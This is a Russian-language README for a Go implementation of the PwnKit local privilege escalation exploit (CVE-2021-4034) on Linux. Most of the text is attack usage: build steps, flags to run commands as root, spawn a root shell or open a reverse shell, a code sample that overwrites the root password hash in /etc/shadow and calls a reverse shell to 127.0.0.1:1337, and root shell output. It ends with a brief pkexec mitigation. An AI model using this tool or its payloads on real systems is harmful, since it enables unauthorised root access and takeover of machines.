
Реализация на Go эксплойта PwnKit для локального повышения привилегий в Linux (CVE-2021-4034)
Чистая реализация эксплойта CVE-2021-4034 PwnKit на Go.
Эксплойт использует syscall.ForkExec, чтобы пережить завершение основной программы.
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
Поскольку эксплойт полагается на вредоносную разделяемую библиотеку, файл PWN.so генерируется из payload.go и встраивается в итоговый исполняемый файл exploit.
Makefile использует sed для временного изменения имени пакета файла payload.go на main, что делает этот Makefile пригодным только для Linux.
Поскольку Go-полезная нагрузка не так надёжна, как C-версия, Makefile по умолчанию компилирует эксплойт с C-полезной нагрузкой. Вы можете выбрать компиляцию с Go-полезной нагрузкой с помощью make build_go.
$> ./exploit -h
Usage of ./exploit:
-c string
Run command as root in separate process
-o Pipe output of forked command to terminal
-r string
Open a reverse-shell in separate process. Format: ip:port
-s Spawn a root shell
Эксплойт можно использовать либо с командой (-c), либо как reverse-shell (-r), либо для запуска root-оболочки (-s).
$> ./exploit -s
sh-5.1#
$> ./exploit -c "cat /etc/passwd"
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]
package main
import (
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
// Change root password to 'password'
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
// Open a reverse-shell
ez_pwnkit.RevShell("127.0.0.1:1337")
}
Обратите внимание: поскольку Command и RevShell используют syscall.ForkExec для запуска эксплойта, результирующие процессы отделены от основной программы и переживают её завершение.
Хотя go-PwnKit можно импортировать в ваш проект с Github, не забывайте, что вы будете выполнять недоверенную разделяемую библиотеку с правами root. Поэтому настоятельно рекомендуется использовать локально скомпилированный PWN.so. Просто к слову 😚
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#
По возможности пропатчите pkexec, в противном случае снимите бит setuid с бинарного файла pkexec.
chmod 0755 /usr/bin/pkexec
Этот проект вдохновлён несколькими другими PoC-эксплойтами для уязвимости PwnKit.
Спасибо An00bRektn за простую настройку эксплойта.
Спасибо PaterGottesman и berdav за понятное объяснение эксплойта.
Спасибо dzonerzy за трюк с GIO_USE_VFS.